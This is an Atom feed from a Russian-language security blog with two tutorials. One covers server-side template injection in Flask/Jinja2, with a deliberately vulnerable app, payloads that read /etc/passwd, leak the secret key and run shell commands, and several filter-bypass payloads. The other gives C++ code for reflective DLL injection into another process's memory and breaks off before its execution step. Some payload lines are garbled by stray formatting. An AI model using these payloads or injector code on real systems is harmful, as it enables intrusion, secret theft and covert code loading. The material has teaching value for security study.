<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>@it_virologist</title><author><name>@it_virologist</name></author><id>https://teletype.in/atom/it_virologist</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/it_virologist?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@it_virologist?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_virologist"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/it_virologist?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-04-19T16:58:53.592Z</updated><entry><id>it_virologist:jWgB-uLwL</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_virologist/jWgB-uLwL?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_virologist"></link><title>SSTI</title><published>2020-04-12T18:33:16.355Z</published><updated>2020-04-12T18:58:12.444Z</updated><summary type="html">&lt;img src=&quot;https://teletype.in/files/72/21/7221f6fd-5b12-4808-b512-88480068e08c.png&quot;&gt;Server Side Template Injections относится к типу Template Injection уязвимостей и возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон - это hml-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный html.Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям. </summary><content type="html">
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/72/21/7221f6fd-5b12-4808-b512-88480068e08c.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Server Side Template Injections относится к типу Template Injection уязвимостей и возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон - это hml-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный html.Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям. &lt;/p&gt;
  &lt;p&gt;В отличие от XSS, Template Injection может использоваться для прямой атаки на внутренние компоненты веб-серверов и получать удаленное выполнение кода.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;Итак для примера создадим простое приложение на flask python, которое выглядит следующим образом:&lt;/p&gt;
  &lt;pre&gt;from flask import *

app = Flask(__name__)

@app.route(&amp;quot;/&amp;quot;)
def home():
    return &amp;quot;Hello, World!&amp;quot;

if __name__ == &amp;quot;__main__&amp;quot;:
    app.run(debug=True)&lt;/pre&gt;
  &lt;p&gt;На странице просто выведется &lt;em&gt;Hello World!&lt;/em&gt; .&lt;/p&gt;
  &lt;p&gt;Теперь нам нужно добавить параметры, чтобы мы могли взаимодействовать с веб-приложением. Получим просто параметр переданный в запросе &lt;code&gt;request.args.get(&amp;#x27;name&amp;#x27;)&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt;В данном случае параметр запроса name.&lt;/p&gt;
  &lt;pre&gt;from flask import *

app = Flask(__name__)

@app.route(&amp;quot;/&amp;quot;)
def home():
    output = request.args.get(&amp;#x27;name&amp;#x27;)
    return f&amp;quot;Hello, {output}!&amp;quot;

if __name__ == &amp;quot;__main__&amp;quot;:
    app.run(debug=True)&lt;/pre&gt;
  &lt;p&gt;Но если будем делать запрос страницы без параметра name, то получим ошибку. Чтобы избежать этого, просто проверим output в if.&lt;/p&gt;
  &lt;pre&gt;from flask import *

app = Flask(__name__)

@app.route(&amp;quot;/&amp;quot;)
def home():
    output = request.args.get(&amp;#x27;name&amp;#x27;)
    
    if output == None:
        return &amp;quot;name parameter not passed&amp;quot;  
    return f&amp;quot;Hello, {output}!&amp;quot;


if __name__ == &amp;quot;__main__&amp;quot;:
    app.run(debug=True)&lt;/pre&gt;
  &lt;p&gt;Отлично, теперь у нас есть приложение на flask, которое возвращает значение из get параметра и не вылетает. Теперь по уязвимости, она присутствует там, где шаблоны выполняются на стороне сервера и данные никак не обрабатываются или недостаточно обрабатываются. &lt;/p&gt;
  &lt;p&gt;Для рендеринга шаблона по строке используем render_template_string.&lt;/p&gt;
  &lt;pre&gt;from flask import *

app = Flask(__name__)

@app.route(&amp;quot;/&amp;quot;)
def home():
    output = request.args.get(&amp;#x27;name&amp;#x27;)
    
    if output != None:
        output = render_template_string(f&amp;quot;Hello, {output}!&amp;quot;)
        return output
    
    return &amp;quot;name parameter not passed&amp;quot;
        
if __name__ == &amp;quot;__main__&amp;quot;:
    app.run(debug=True)&lt;/pre&gt;
  &lt;p&gt;Запустим сервер и передадим в запросе name={{ 7 * 7 }}&lt;br /&gt;( &lt;a href=&quot;http://localhost:port/?name=&quot; target=&quot;_blank&quot;&gt;http://localhost:port/?name=&lt;/a&gt;&lt;em&gt;{{ 7 * 7 }}&lt;/em&gt;), сервер вернет нам &lt;em&gt;Hello, 49!,&lt;/em&gt; что означает, что тут присутствует уязвимость. &lt;/p&gt;
  &lt;p&gt;Механизмы шаблонов используются очень широко, и они существуют для различных языков, таких как PHP, JS, Python, Go, Ruby ​​и многих других.&lt;/p&gt;
  &lt;p&gt;Основание того, почему они полезны, в том случае, если у вас большой веб-сайт или платформа, где много динамически изменяющихся элементов.&lt;/p&gt;
  &lt;p&gt;Например, netflix имеет тот же макет для своего контента, и изменяются только следующие вещи: заголовок, описание, баннер и некоторые другие мелкие детали, поэтому вместо создания целиком отдельной страницы для каждого фильма они просто подают данные в свои шаблоны , а затем шаблонизатор складывает все это вместе.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Получение конфигурации&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Это может быть полезно для получения ключа SECRET_KEY, который используется для подписи файлов cookie, при этом вы можете создавать и подписывать свои собственные файлы cookie.&lt;/p&gt;
  &lt;p&gt;Для шаблонизатора Jinja2, который работает с фласком используем {{ config }}&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Чтение локальных файлов&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Это может быть использовано для чтения любого файла в системе и последующего выполнения может быть выполнен с помощью полезная нагрузка RCE. Также иногда пихают флажок на цтфках в папку с шаблонами {% include &amp;#x27;flag.txt&amp;#x27;%}.&lt;/p&gt;
  &lt;p&gt;Пример полезной нагрузки альтернативы:                                                                        {{&amp;#x27;&amp;#x27;.__class&lt;u&gt;__&lt;/u&gt;.__mro&lt;u&gt;__&lt;/u&gt;[2].__ssubclasses_&lt;u&gt;_&lt;/u&gt;[40](&amp;#x27;/etc/passwd&amp;#x27;).read() }}&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;RCE&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Наконец, удаленное выполнение команд.&lt;/p&gt;
  &lt;p&gt;Очевидно, что это самый серьезный и опасный процесс, который может быть осуществлен различными способами:&lt;/p&gt;
  &lt;p&gt;{{&amp;#x27;&amp;#x27;.__class&lt;u&gt;__&lt;/u&gt;.__mro&lt;u&gt;__&lt;/u&gt;[1].__subsubclasses_&lt;u&gt;_()[1&lt;/u&gt;](&amp;#x27;cat flag.txt&amp;#x27;,shell=True,stdout=-1).communicate()[0].strip()}}  &lt;/p&gt;
  &lt;p&gt;Теперь мы можем взглянуть на обходные методы. Давайте начнем с метода обхода параметров.&lt;/p&gt;
  &lt;p&gt;Представьте, что у вас есть шаблонизатор, в данном случае jinja2, который принимает значение из параметра и удаляет из него все символы подчеркивания &amp;quot;_&amp;quot;. Это ограничит нас от различных различных запросов, например мы не сможем обратиться {&lt;u&gt;{__&lt;/u&gt;class__}}. Таким образом, этот обходной метод основан на идее, что только этот параметр проверяется на подчеркивание. Поэтому все, что нам нужно сделать, это передать подчеркивание через другой параметр и вызвать их из нашего шаблона.&lt;/p&gt;
  &lt;p&gt;Мы начнем с вызова атрибута класса из запроса (подчеркивания в данном запросе будут удаляться).&lt;br /&gt;&lt;code&gt;{{ request.__class__ }}&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt; мы удаляем «.» и используйте | attr, чтобы сообщить шаблону, что мы используем атрибуты запроса.&lt;br /&gt;&lt;code&gt;{{ request|attr(&amp;quot;__class__&amp;quot;) }}&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Далее перенаправляем все содержимое параметра attribute в функцию join, которая склеивает все значения вместе, в этом случае для создания класса они оно сконкатенируется.&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;{{ request|attr([&amp;quot;__&amp;quot;,&amp;quot;class&amp;quot;,&amp;quot;__&amp;quot;]|join) }}&lt;/code&gt; &lt;/p&gt;
  &lt;p&gt;Затем мы удаляем одно подчеркивание и просто умножаем одно на два, что позволяет python, чтобы создать новую строку из ранее указанных строк.&lt;br /&gt;&lt;code&gt;{{ request|attr([&amp;quot;_&amp;quot; * 2,&amp;quot;class&amp;quot;,&amp;quot;_&amp;quot; * 2]|join) }}&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Наконец, мы сообщаем paytload, чтобы получить подчеркивания от другого параметра, называемого «usc», и добавляем подчеркивания к другому параметру. В итоге у нас получится.&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;http://localhost:port/?name={{ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) }}&amp;amp;usc=_&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;В следующем методе показывается обход блокировки скобок &amp;quot;[&amp;quot;, &amp;quot;]&amp;quot;.&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;http://localhost:port/?name={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&amp;amp;class=class&amp;amp;usc=_&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;http://localhost:port/?name={{request|attr(request.args.getlist(request.args.l)|join)}}&amp;amp;l=a&amp;amp;a=_&amp;amp;a=_&amp;amp;a=class&amp;amp;a=_&amp;amp;a=_&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Еще один вариант в случае, если заблокирована точка &amp;quot;.&amp;quot;:&lt;br /&gt;&lt;code&gt;http://localhost:port/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Наконец, метод обхода, который используется в случае, когда заблокированы &amp;quot;[&amp;quot;, &amp;quot;]&amp;quot;, &amp;quot;join&amp;quot; и &amp;quot;_&amp;quot;:&lt;br /&gt;&lt;code&gt;http://localhost:port/?name={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&amp;amp;f=%s%sclass%s%s&amp;amp;a=_&lt;/code&gt;&lt;/p&gt;
  &lt;p&gt;Это всего лишь базовые данные обхода, но их можно комбинировать и манипулировать для достижения  результатов.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p&gt;А кучу полезных примеров инъекций вы можете найти туть:&lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings&quot; target=&quot;_blank&quot;&gt;https://github.com/swisskyrepo/PayloadsAllTheThings&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>it_virologist:DPmp9trD1</id><link rel="alternate" type="text/html" href="https://teletype.in/@it_virologist/DPmp9trD1?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=it_virologist"></link><title>Отражающая DLL инъекция</title><published>2020-04-03T18:44:25.183Z</published><updated>2020-04-03T18:52:39.275Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/9a/25/9a25e8ff-ce42-4050-a7f5-9f2202c11b35.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/fa/ac/faacc832-ee0a-421f-9391-af3e6f2f9c30.png&quot;&gt;Чтобы полностью понять содержание этой статьи, необходимы знания:</summary><content type="html">
  &lt;figure class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/fa/ac/faacc832-ee0a-421f-9391-af3e6f2f9c30.png&quot; width=&quot;700&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Чтобы полностью понять содержание этой статьи, необходимы знания:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;C/C ++&lt;/li&gt;
    &lt;li&gt;WinAPI&lt;/li&gt;
    &lt;li&gt;Виртуальная память&lt;/li&gt;
    &lt;li&gt;Формат файла PE&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;h3&gt;DLL инъекция&lt;/h3&gt;
  &lt;p&gt;DLL инъекция осуществляется путем внедренияDLL в пространство другого процесса и последующего выполнение его кода.&lt;/p&gt;
  &lt;p&gt;Примером может послужить ​​следующим фрагментом кода:&lt;/p&gt;
  &lt;pre&gt;VOID InjectDll(HANDLE hProcess, LPCSTR lpszDllPath) 
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, lpBaseAddress, lpszDllPath, dwDllPathLen, &amp;amp;dwWritten);
	HMODULE hModule = GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;);
	LPVOID lpStartAddress = GetProcAddress(hModule, &amp;quot;LoadLibraryA&amp;quot;);
	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL);
}&lt;/pre&gt;
  &lt;p&gt;Первым шагом является выделение места в пространстве виртуальной памяти целевого процесса, что можно сделать с помощью функции &lt;code&gt;VirtualAllocEx&lt;/code&gt;, указав дескриптор процесса. Затем мы можем использовать &lt;code&gt;WriteProcessMemory&lt;/code&gt;для записи данных в процесс, используя полный путь к полезной нагрузке DLL. Чтобы выполнить код, все , что мы должны сделать это восстановить &lt;code&gt;LoadLibrary&lt;/code&gt;функцию из &lt;code&gt;kernel32&lt;/code&gt;модуля , а затем вызвать &lt;code&gt;CreateRemoteThread&lt;/code&gt;для выполнения &lt;code&gt;LoadLibrary&lt;/code&gt; в целевом процессе , чтобы заставить загрузить полезную нагрузку DLL в качестве библиотеки. В результате она немедленно выполнит &lt;code&gt;DllMain&lt;/code&gt;с указанием.&lt;/p&gt;
  &lt;p&gt;Вот пример кода DLL, который я буду использовать для демонстрации:&lt;/p&gt;
  &lt;pre&gt;BOOL APIENTRY DllMain(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved) 
{
    ::MessageBox(NULL, L&amp;quot;Hello world!&amp;quot;, L&amp;quot;Test DLL&amp;quot;, MB_OK);
    return TRUE;
}&lt;/pre&gt;
  &lt;h3&gt;&lt;/h3&gt;
  &lt;h3&gt;Отражающая DLL инъекция (Reflective DLL Injection&lt;em&gt;)&lt;/em&gt;&lt;/h3&gt;
  &lt;p&gt;В предыдущем коде внедрения DLL источник DLL получен по полному пути на диске.  Из-за этого такой метод не очень скрытный, а также данная зависимость может быть проблемой в случае разделения.&lt;/p&gt;
  &lt;p&gt;Эти проблемы могут быть решены с помощью Reflective DLLинъекции&lt;em&gt;,&lt;/em&gt;которая позволяет получать DLL в форме необработанных данных.&lt;/p&gt;
  &lt;p&gt;Чтобы иметь возможность вводить данные в целевой процесс, мы должны вручную отобразить бинарник в виртуальную память, как это делал бы загрузчик образов Windows при вызове &lt;code&gt;LoadLibrary&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt;Вот краткое описание шагов алгоритма, которые будут выполнены для внедрения DLL в внешний процесс:&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;Получение полезной нагрузки DLL&lt;/li&gt;
    &lt;li&gt;Отображение DLL в памяти&lt;/li&gt;
    &lt;li&gt;После отображения его в память, его таблица импорта должна быть перестроена&lt;/li&gt;
    &lt;li&gt;Сопоставление DLL целевому процессу&lt;/li&gt;
    &lt;li&gt;Сопоставленный DLL записывается в целевой процесс.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Извлечение из ресурсов&lt;br /&gt;&lt;/strong&gt;Чтобы сохранить DLL вместе с инжектором как единое целое, мы можем воспользоваться разделом ресурсов формата PE.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/0b/58/0b58b089-af6d-4b5d-9de8-4fc3884a5678.png&quot; width=&quot;794&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Извлечение необработанного двоичного файла DLL является тривиальной задачей, которую можно выполнить с помощью API ресурса. Перед извлечением мы должны проверить, существует ли DLL в ресурсах следующим образом:&lt;/p&gt;
  &lt;pre&gt;BOOL CALLBACK EnumResNameProc (HMODULE hModule, LPCWSTR lpszType, LPWSTR lpszName, LONG_PTR lParam)
{
    HRSRC *h = reinterpret_cast&amp;lt;HRSRC *&amp;gt;(lParam);
    HRSRC hRsrc = ::FindResource(hModule, lpszName, lpszType);
    
    if (!hRsrc) 
        return TRUE;
    else 
    {
        *h = hRsrc;
        return FALSE;
    }
    
    return TRUE;
}

bool Injector::HasPayload()
{
    HMODULE hModule = ::GetModuleHandle(NULL);
    if (!hModule) 
        return false;
      
    HRSRC hRsrc = NULL;
    if (!::EnumResourceNames(hModule, L&amp;quot;PAYLOAD&amp;quot;, EnumResNameProc, reinterpret_cast&amp;lt;LPARAM&amp;gt;(&amp;amp;hRsrc)) &amp;amp;&amp;amp; 
        GetLastError() != ERROR_RESOURCE_ENUM_USER_STOP)
        return false;
   
    if (!hRsrc) 
        return false;
   
    this-&amp;gt;payload-&amp;gt;hResPayload = hRsrc;
   
    return true;
}&lt;/pre&gt;
  &lt;p&gt;Приведенный выше код будет перечислять все ресурсы типа &lt;code&gt;PAYLOAD&lt;/code&gt; и, если выполнение будет успешным, то будет взят дескриптор ресурса путем вызова &lt;code&gt;FindResource&lt;/code&gt;. Получив дескриптор, мы можем получить указатель на необработанные двоичные данные и скопировать их в память, используя следующую функцию:&lt;/p&gt;
  &lt;pre&gt;bool Injector::LoadFromResource() 
{
    DWORD dwSize = ::SizeofResource(::GetModuleHandle(NULL), this-&amp;gt;payload-&amp;gt;hResPayload);
    HGLOBAL hResData = ::LoadResource(NULL, this-&amp;gt;payload-&amp;gt;hResPayload);
    
    if (hResData) 
    {
        LPVOID lpPayload = ::LockResource(hResData);
        if (lpPayload) 
        {
            if (MemoryMapPayload(lpPayload))
                return true;
        }
    }
    
    return false;
}&lt;/pre&gt;
  &lt;p&gt;Имейте в виду, что после вызова &lt;code&gt;LockResource&lt;/code&gt; указатель на ресурс DLL доступен только для чтения, а данные представлены в виде диска, что означает, что все смещения - это смещение файлов, а не смещения памяти.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Отображение в память&lt;br /&gt;&lt;/strong&gt;Нам понадобится преобразовать его в &lt;em&gt;форму памяти &lt;/em&gt;для дальнейшей обработки, для этого мы можем проанализировав его структуру и отобразить его в пространство памяти.&lt;/p&gt;
  &lt;pre&gt;bool Injector::MemoryMapPayload(LPVOID lpPayload) 
{
    PIMAGE_DOS_HEADER pidh = reinterpret_cast&amp;lt;PIMAGE_DOS_HEADER&amp;gt;(lpPayload);
    PIMAGE_NT_HEADERS pinh = reinterpret_cast&amp;lt;PIMAGE_NT_HEADERS&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpPayload) + pidh-&amp;gt;e_lfanew);
    
    HANDLE hMapping = ::CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, pinh-&amp;gt;OptionalHeader.SizeOfImage, NULL);
    if (hMapping) 
    {
        LPVOID lpMapping = ::MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0);
        if (lpMapping) 
        {
            //сопоставим полезную нагрузку с памятью
            ::CopyMemory(lpMapping, lpPayload, pinh-&amp;gt;OptionalHeader.SizeOfHeaders);
            
		    //скопируем разделы
		    for (int i = 0; i &amp;lt; pinh-&amp;gt;FileHeader.NumberOfSections; i++) 
		    {
		         PIMAGE_SECTION_HEADER pish = reinterpret_cast&amp;lt;PIMAGE_SECTION_HEADER&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpPayload) + pidh-&amp;gt;e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
		         ::CopyMemory(reinterpret_cast&amp;lt;LPVOID&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpMapping) + pish-&amp;gt;VirtualAddress), reinterpret_cast&amp;lt;LPVOID&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpPayload) + pish-&amp;gt;PointerToRawData), pish-&amp;gt;SizeOfRawData);
            }
            
            this-&amp;gt;vPayloadData = std::vector&amp;lt;BYTE&amp;gt;(reinterpret_cast&amp;lt;LPBYTE&amp;gt;(lpMapping), reinterpret_cast&amp;lt;LPBYTE&amp;gt;(lpMapping) + pinh-&amp;gt;OptionalHeader.SizeOfImage);
            ::UnmapViewOfFile(lpMapping);
			::CloseHandle(hMapping);
			return true;
		}
		::CloseHandle(hMapping);
	}
	
	return false;
}&lt;/pre&gt;
  &lt;p&gt;Здесь сегмент памяти отображается так, что мы можем преобразовать бинарный файл в его отображенный в памяти аналог. Разделы сначала копируются в память, поскольку они совпадают с объектом диска и образом памяти. Далее перечисляются заголовки разделов, чтобы собрать виртуальные смещения самих разделов, которые используются для вставки разделов в их соответствующие области. После завершения преобразования мы можем просто сохранить его и очистить отображенную память.&lt;/p&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Пересборка и внедрение DLL&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Прежде чем пересобрать библиотеку DLL, мы должны сначала проверить, существует ли целевой процесс, и, если он существует, получить дескриптор к нему. Мы можем сделать это, перечислив все запущенные процессы и затем сравнив их имена:&lt;/p&gt;
  &lt;pre&gt;bool Injector::GetProcess() 
{
    PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	
	if (Process32First(hSnapshot, &amp;amp;pe32)) 
	{
	    while (Process32Next(hSnapshot, &amp;amp;pe32)) 
	    {
	        if (wcsicmp(pe32.szExeFile, this-&amp;gt;szProcessName.c_str()) == 0) 
	        {
				HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | 
					PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | 
					PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
				::CloseHandle(hSnapshot);

				this-&amp;gt;payload-&amp;gt;hProcess = hProcess;
				return true;
			}
		}
	}
	else
		return ::CloseHandle(hSnapshot), false;
	return false;
}&lt;/pre&gt;
  &lt;p&gt;Теперь мы можем проверить, можем ли мы выделить некоторую память в адресном пространстве целевого процесса. Для этого мы можем использовать &lt;code&gt;VirtualAllocEx&lt;/code&gt; функцию, указав дескриптор процесса и размер изображения:&lt;/p&gt;
  &lt;pre&gt;this-&amp;gt;payload-&amp;gt;lpAddress = ::VirtualAllocEx(this-&amp;gt;payload-&amp;gt;hProcess, NULL, pinh-&amp;gt;OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
				if (!this-&amp;gt;payload-&amp;gt;lpAddress)
					return Debug(L&amp;quot;Failed to allocate space: %lu\n&amp;quot;, GetLastError()), false;&lt;/pre&gt;
  &lt;p&gt;Как только мы подтвердим, что есть свободное место, мы можем перейти к пересоберем DLL. Пересоберем таблицы импорта:&lt;/p&gt;
  &lt;pre&gt;
bool Injector::RebuildImportTable(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh) 
{
    if (pinh-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) 
    {
		PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = reinterpret_cast&amp;lt;PIMAGE_IMPORT_DESCRIPTOR&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpBaseAddress) + pinh-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
		while (pImportDescriptor-&amp;gt;Name != NULL) 
		{
		    LPSTR lpLibrary = reinterpret_cast&amp;lt;PCHAR&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpBaseAddress) + pImportDescriptor-&amp;gt;Name);
		    HMODULE hLibModule = ::LoadLibraryA(lpLibrary);
			
			PIMAGE_THUNK_DATA nameRef = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpBaseAddress) + pImportDescriptor-&amp;gt;Characteristics);
			PIMAGE_THUNK_DATA symbolRef = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpBaseAddress) + pImportDescriptor-&amp;gt;FirstThunk);
			PIMAGE_THUNK_DATA lpThunk = reinterpret_cast&amp;lt;PIMAGE_THUNK_DATA&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpBaseAddress) + pImportDescriptor-&amp;gt;FirstThunk);
			
			for (; nameRef-&amp;gt;u1.AddressOfData; nameRef++, symbolRef++, lpThunk++) 
			{
				if (nameRef-&amp;gt;u1.AddressOfData &amp;amp; IMAGE_ORDINAL_FLAG)
					*(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, MAKEINTRESOURCEA(nameRef-&amp;gt;u1.AddressOfData));
				else 
				{
					PIMAGE_IMPORT_BY_NAME thunkData = reinterpret_cast&amp;lt;PIMAGE_IMPORT_BY_NAME&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpBaseAddress) + nameRef-&amp;gt;u1.AddressOfData);
					*(FARPROC*)lpThunk = ::GetProcAddress(hLibModule, reinterpret_cast&amp;lt;LPCSTR&amp;gt;(&amp;amp;thunkData-&amp;gt;Name));
				}
			}
			
			::FreeLibrary(hLibModule);
			pImportDescriptor++;
		}
	}
	
	return true;
}	&lt;/pre&gt;
  &lt;p&gt;По сути, таблица импорта получается через структуру необязательного заголовка в формате PE и &lt;em&gt;обходит ее&lt;/em&gt;, извлекая имена импортированных функций, а затем перезаписывает &lt;code&gt;FirstThunk &lt;/code&gt;адреса. Для этого сначала нужно получить библиотеку, содержащую функцию &lt;code&gt;LoadLibrary&lt;/code&gt;, а затем вызвать &lt;code&gt;GetProcAddress&lt;/code&gt; для получения соответствующего адреса.&lt;/p&gt;
  &lt;p&gt;Следующим шагом является перемещение адреса с помощью таблицы перемещения. Дельта фактического выделенного базового адреса в целевом процессе вместе с исходным базовым адресом вычисляется с помощью простого вычитания:&lt;/p&gt;
  &lt;pre&gt;DWORD dwDelta = reinterpret_cast&amp;lt;DWORD&amp;gt;(this-&amp;gt;payload-&amp;gt;lpAddress) - pinh-&amp;gt;OptionalHeader.ImageBase;&lt;/pre&gt;
  &lt;p&gt;Как и в таблице импорта, данные в таблице перемещения применяются с соответствующим смещением по указанным адресам с использованием вычисленной дельты:&lt;/p&gt;
  &lt;pre&gt;bool Injector::BaseRelocate(LPVOID lpBaseAddress, PIMAGE_NT_HEADERS pinh, DWORD dwDelta) 
{
    IMAGE_BASE_RELOCATION* r = reinterpret_cast&amp;lt;IMAGE_BASE_RELOCATION*&amp;gt;(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpBaseAddress) + pinh-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    IMAGE_BASE_RELOCATION* r_end = reinterpret_cast&amp;lt;IMAGE_BASE_RELOCATION*&amp;gt;(reinterpret_cast&amp;lt;DWORD_PTR&amp;gt;(r) + pinh-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size - sizeof(IMAGE_BASE_RELOCATION));
    for (; r &amp;lt; r_end; r = reinterpret_cast&amp;lt;IMAGE_BASE_RELOCATION*&amp;gt;(reinterpret_cast&amp;lt;DWORD_PTR&amp;gt;(r) + r-&amp;gt;SizeOfBlock)) 
    {
		WORD* reloc_item = reinterpret_cast&amp;lt;WORD*&amp;gt;(r + 1);
		DWORD num_items = (r-&amp;gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
		
		for (DWORD i = 0; i &amp;lt; num_items; ++i, ++reloc_item) 
		{
			switch (*reloc_item &amp;gt;&amp;gt; 12) 
			{
			case IMAGE_REL_BASED_ABSOLUTE:
				break;
			case IMAGE_REL_BASED_HIGHLOW:
				*(DWORD_PTR*)(reinterpret_cast&amp;lt;DWORD&amp;gt;(lpBaseAddress) + r-&amp;gt;VirtualAddress + (*reloc_item &amp;amp; 0xFFF)) += dwDelta;
				break;
			default:
				return false;
			}
		}
	}
	
	return true;
}&lt;/pre&gt;
  &lt;p&gt;Теперь, когда мы восстановили то, что должно быть восстановлено, и распределили память во внешнем процессе, мы можем просто написать весь двоичный файл, используя &lt;code&gt;WriteProcessMemory&lt;/code&gt;:&lt;/p&gt;
  &lt;pre&gt;if (!::WriteProcessMemory(this-&amp;gt;payload-&amp;gt;hProcess, this-&amp;gt;payload-&amp;gt;lpAddress, this-&amp;gt;vPayloadData.data(), pinh-&amp;gt;OptionalHeader.SizeOfImage, NULL))
		return Debug(L&amp;quot;Failed write payload: %lu\n&amp;quot;, GetLastError()), false;&lt;/pre&gt;
  &lt;p&gt;&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Выполнение DLL&lt;/strong&gt;&lt;/p&gt;
